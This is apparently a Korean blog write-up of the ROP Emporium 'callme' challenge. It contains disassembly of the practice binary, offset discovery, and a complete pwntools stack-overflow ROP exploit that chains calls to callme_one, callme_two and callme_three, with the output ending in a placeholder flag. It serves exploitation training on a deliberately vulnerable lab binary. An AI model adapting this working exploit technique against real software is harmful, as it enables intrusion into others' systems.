[ROP Emporium] callme

Sisyphus·2022년 8월 25일

ROP Emporium

목록 보기
3/5

문제

callme_one(), callme_two() 및 callme_three() 함수는 각각 0xdeadbeef, 0xcafebabe, 0xd00df00d 인수를 사용하여 순서대로 호출해야 합니다. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) 플래그를 인쇄합니다. x86_64 바이너리의 경우 해당 값을 두 배로 늘리십시오. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)



보호 기법

gef➤  checksec
[+] checksec for '/home/kali/wargame/ROP/callme/callme'
[*] gef.py:L8789 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial


코드 분석

gef➤  disas pwnme 
Dump of assembler code for function pwnme:
   0x00000000004008cf <+55>:    lea    rax,[rbp-0x20]
   0x00000000004008d3 <+59>:    mov    edx,0x200
   0x00000000004008d8 <+64>:    mov    rsi,rax
   0x00000000004008db <+67>:    mov    edi,0x0
   0x00000000004008e0 <+72>:    call   0x400710 <read@plt>  // read(0, rbp-0x20, 0x200)
End of assembler dump.
  • read(0, rbp-0x20, 0x200)에서 버퍼 오버플로우가 발생합니다.

gef➤  disas callme_one
Dump of assembler code for function callme_one:
   0x00007ffff7c0081a <+0>:     push   rbp
   0x00007ffff7c0081b <+1>:     mov    rbp,rsp
   0x00007ffff7c0081e <+4>:     sub    rsp,0x30
   0x00007ffff7c00822 <+8>:     mov    QWORD PTR [rbp-0x18],rdi   // arg1
   0x00007ffff7c00826 <+12>:    mov    QWORD PTR [rbp-0x20],rsi   // arg2
   0x00007ffff7c0082a <+16>:    mov    QWORD PTR [rbp-0x28],rdx   // arg3

   0x00007ffff7c0082e <+20>:    movabs rax,0xdeadbeefdeadbeef
   0x00007ffff7c00838 <+30>:    cmp    QWORD PTR [rbp-0x18],rax   // if (arg1 == 0xdeadbeefdeadbeef)
   0x00007ffff7c0083c <+34>:    jne    0x7ffff7c00912 <callme_one+248>
   0x00007ffff7c00842 <+40>:    movabs rax,0xcafebabecafebabe
   0x00007ffff7c0084c <+50>:    cmp    QWORD PTR [rbp-0x20],rax   // if (arg2 == 0xcafebabecafebabe)
   0x00007ffff7c00850 <+54>:    jne    0x7ffff7c00912 <callme_one+248>
   0x00007ffff7c00856 <+60>:    movabs rax,0xd00df00dd00df00d
   0x00007ffff7c00860 <+70>:    cmp    QWORD PTR [rbp-0x28],rax   // if (arg3 == 0xd00df00dd00df00d)
   0x00007ffff7c00864 <+74>:    jne    0x7ffff7c00912 <callme_one+248>   
End of assembler dump.
  • callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

gef➤  disas callme_two
Dump of assembler code for function callme_two:
   0x00007ffff7c0092b <+0>:     push   rbp
   0x00007ffff7c0092c <+1>:     mov    rbp,rsp
   0x00007ffff7c0092f <+4>:     sub    rsp,0x30
   0x00007ffff7c00933 <+8>:     mov    QWORD PTR [rbp-0x18],rdi
   0x00007ffff7c00937 <+12>:    mov    QWORD PTR [rbp-0x20],rsi
   0x00007ffff7c0093b <+16>:    mov    QWORD PTR [rbp-0x28],rdx
   
   0x00007ffff7c0093f <+20>:    movabs rax,0xdeadbeefdeadbeef
   0x00007ffff7c00949 <+30>:    cmp    QWORD PTR [rbp-0x18],rax	// if (arg1 == 0xdeadbeefdeadbeef)
   0x00007ffff7c0094d <+34>:    jne    0x7ffff7c00a14 <callme_two+233>
   0x00007ffff7c00953 <+40>:    movabs rax,0xcafebabecafebabe
   0x00007ffff7c0095d <+50>:    cmp    QWORD PTR [rbp-0x20],rax	// if (arg2 == 0xcafebabecafebabe)
   0x00007ffff7c00961 <+54>:    jne    0x7ffff7c00a14 <callme_two+233>
   0x00007ffff7c00967 <+60>:    movabs rax,0xd00df00dd00df00d
   0x00007ffff7c00971 <+70>:    cmp    QWORD PTR [rbp-0x28],rax	// if (arg3 == 0xd00df00dd00df00d)
   0x00007ffff7c00975 <+74>:    jne    0x7ffff7c00a14 <callme_two+233>    
End of assembler dump.
  • callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

gef➤  disas callme_three
Dump of assembler code for function callme_three:
   0x00007ffff7c00a2d <+0>:     push   rbp
   0x00007ffff7c00a2e <+1>:     mov    rbp,rsp
   0x00007ffff7c00a31 <+4>:     sub    rsp,0x30
   0x00007ffff7c00a35 <+8>:     mov    QWORD PTR [rbp-0x18],rdi
   0x00007ffff7c00a39 <+12>:    mov    QWORD PTR [rbp-0x20],rsi
   0x00007ffff7c00a3d <+16>:    mov    QWORD PTR [rbp-0x28],rdx
   
   0x00007ffff7c00a41 <+20>:    movabs rax,0xdeadbeefdeadbeef
   0x00007ffff7c00a4b <+30>:    cmp    QWORD PTR [rbp-0x18],rax	// if (arg1 == 0xdeadbeefdeadbeef)
   0x00007ffff7c00a4f <+34>:    jne    0x7ffff7c00b81 <callme_three+340>
   0x00007ffff7c00a55 <+40>:    movabs rax,0xcafebabecafebabe
   0x00007ffff7c00a5f <+50>:    cmp    QWORD PTR [rbp-0x20],rax	// if (arg2 == 0xcafebabecafebabe)
   0x00007ffff7c00a63 <+54>:    jne    0x7ffff7c00b81 <callme_three+340>
   0x00007ffff7c00a69 <+60>:    movabs rax,0xd00df00dd00df00d
   0x00007ffff7c00a73 <+70>:    cmp    QWORD PTR [rbp-0x28],rax	// if (arg3 == 0xd00df00dd00df00d)
   0x00007ffff7c00a77 <+74>:    jne    0x7ffff7c00b81 <callme_three+340>
End of assembler dump.
  • callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)


offset 찾기

gef➤  pattern create 0x100
[+] Generating a pattern of 256 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/kali/wargame/ROP/callme/callme 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fca000'
callme by ROP Emporium
x86_64

Hope you read the instructions...

> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
Thank you!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004008f1 in pwnme ()


gef➤  x/gx $rsp
0x7fffffffdee8: 0x6161616161616166
gef➤  pattern search 0x6161616161616166
[+] Searching for '6661616161616161'/'6161616161616166' with period=8
[+] Found at offset 40 (little-endian search) likely
  • offset : 40


익스플로잇 코드

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

p = process("./callme")
e = ELF("./callme", checksec=False)
r = ROP(e)


callme_one = e.symbols['callme_one']
callme_two = e.symbols['callme_two']
callme_three = e.symbols['callme_three']

pop_rdi_rsi_rdx = r.find_gadget(['pop rdi', 'pop rsi', 'pop rdx', 'ret'])[0]

one = 0xdeadbeefdeadbeef
two = 0xcafebabecafebabe
three = 0xd00df00dd00df00d


payload = b'A' * 40

# callme_one
payload += p64(pop_rdi_rsi_rdx) + p64(one) + p64(two) + p64(three)
payload += p64(callme_one)


# callme_two
payload += p64(pop_rdi_rsi_rdx) + p64(one) + p64(two) + p64(three)
payload += p64(callme_two)


# callme_three
payload += p64(pop_rdi_rsi_rdx) + p64(one) + p64(two) + p64(three)
payload += p64(callme_three)


p.sendlineafter("> ", payload)
p.recvuntil("Thank you!")

p.interactive()


익스플로잇

 kali@kali  ~/wargame/ROP/callme  python3 exploit.py 2> /dev/null
[+] Starting local process './callme': pid 2012
[*] Loaded 17 cached gadgets for './callme'
[*] Switching to interactive mode

callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Process './callme' stopped with exit code 0 (pid 2012)

0개의 댓글